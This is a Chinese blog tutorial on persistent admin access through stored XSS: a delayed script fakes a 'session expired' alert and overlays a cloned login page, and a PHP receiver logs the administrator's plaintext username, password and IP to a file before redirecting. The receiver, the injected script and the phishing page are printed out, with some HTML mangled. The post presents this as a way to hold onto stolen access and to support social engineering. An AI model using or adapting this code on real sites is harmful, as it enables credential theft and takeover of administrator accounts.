html输入账号密码后跳转_【超详细入门教程】通过xss获取管理员明文账号密码...

最新推荐文章于 2024-08-13 23:36:16 发布

weixin_39574720

最新推荐文章于 2024-08-13 23:36:16 发布

阅读量2.6k

点赞数

文章标签： html输入账号密码后跳转

本文链接：https://blog.csdn.net/weixin_39574720/article/details/113078062

版权

本文介绍了如何在管理员登录后台时，利用xss漏洞获取其账号密码，从而实现权限维持。通过创建钓鱼页面和数据接收文件，当管理员在钓鱼页面输入信息后，数据被发送到攻击者的服务器，达到隐蔽持久的效果。

摘要由CSDN通过智能技术生成

0x00 前言

本文所讲的知识点很早就有，只是因为最近小伙伴讨论的比较多，而且很多小伙伴不太明确流程，故有了此文，大佬请忽略

xss大家都不陌生，最常用的就是打管理员的cookie然后拿到后台权限。

但是在实战过程中会碰到很多因素导致无法获得权限或者权限维持困难，下面列举了三点。

随着开发者安全意识的提高，现在基本上都是开了httponly了，也就是说xss无法读取到cookie了(除了包含登录信息外的cookie一般还是可以获取的)，这是其一。

cookie具有时效性，比如说获取到的cookie过期了，而管理员又没有进行第二次登录并触发的情况下，你的权限就掉了，这是其二。

xss漏洞已修复，并且之前的代码已被删除或者无法触发(比如说xss在一个留言处，当后面有很多留言时，你的代码可能就到下一页去了，管理员也一般不会去翻，也就不会触发)，这是其三

所以本篇文章就来介绍通过xss来获取管理员的账号密码，实现权限的维持，而且获取了账号密码，用途还有很多，比如说社工。

0x01 流程

打字描述不太直观，直接上一个流程图

0x02 准备工作

根据流程图中所展示，我们需要一个钓鱼页面(高仿原登录页面)和一个数据接收文件。为了简单明了的演示，这里准备了以下文件：

admin_login.html  //原管理登录页面admin_index.html  //原管理后台页面fish.html         //我们高仿的登录页面，也就是钓鱼页get.php           //数据接收文件xss.js            //xss的payload

代码量很小，我在这里直接贴出来

//admin_login.html  原管理登录页面管理员登录用户名:密码:

//admin_index.html  原管理后台页面<body><head><title>管理员后台title>head><h1>这里是管理员后台，你已成功登录h1><button type="button">一键日卫星button><hr><b>最新留言b><ul><li>说书人长得好帅li><li>楼上说得对<script src= "http://127.0.0.1/xss.js">script>li>ul>body>html>

//fish.html  我们仿的登录页面，也就是钓鱼页<head><title>管理员登录title>head>"post" action=用户名:密码:

//get.php  数据接收文件<?php $line = '----------------------------------'."\r\n";$user = '账号：'.$_POST['username']."\r\n";$pwd = '密码：'.$_POST['password']."\r\n";$ip = 'IP：'.getenv('REMOTE_ADDR')."\r\n";$url = '钓鱼模板：'.getenv('HTTP_REFERER')."\r\n";$date ='日期：'. date("Y-m-d")."\r\n";$result = $line.$url.$user.$pwd.$ip.$date;file_put_contents('good.txt',$result, FILE_APPEND);header("Location: http://127.0.0.1/admin_index.html");?>

//xss.js  xss的payloadsetTimeout(function() {    alert("登陆过期，请重新登陆！");    parent.document.writeln(");    setTimeout(function() {        document.getElementsByTagName("body")[0].setAttribute("style", "margin: 2px;");    },    100);    setTimeout(function() {        parent.document.getElementsByTagName("body")[0].setAttribute("style", "margin: 0px;");    },    100);},600000);

0x03 本地演示

首先管理员登录后台后，xss触发了，弹窗提示登录过期，需要重新登录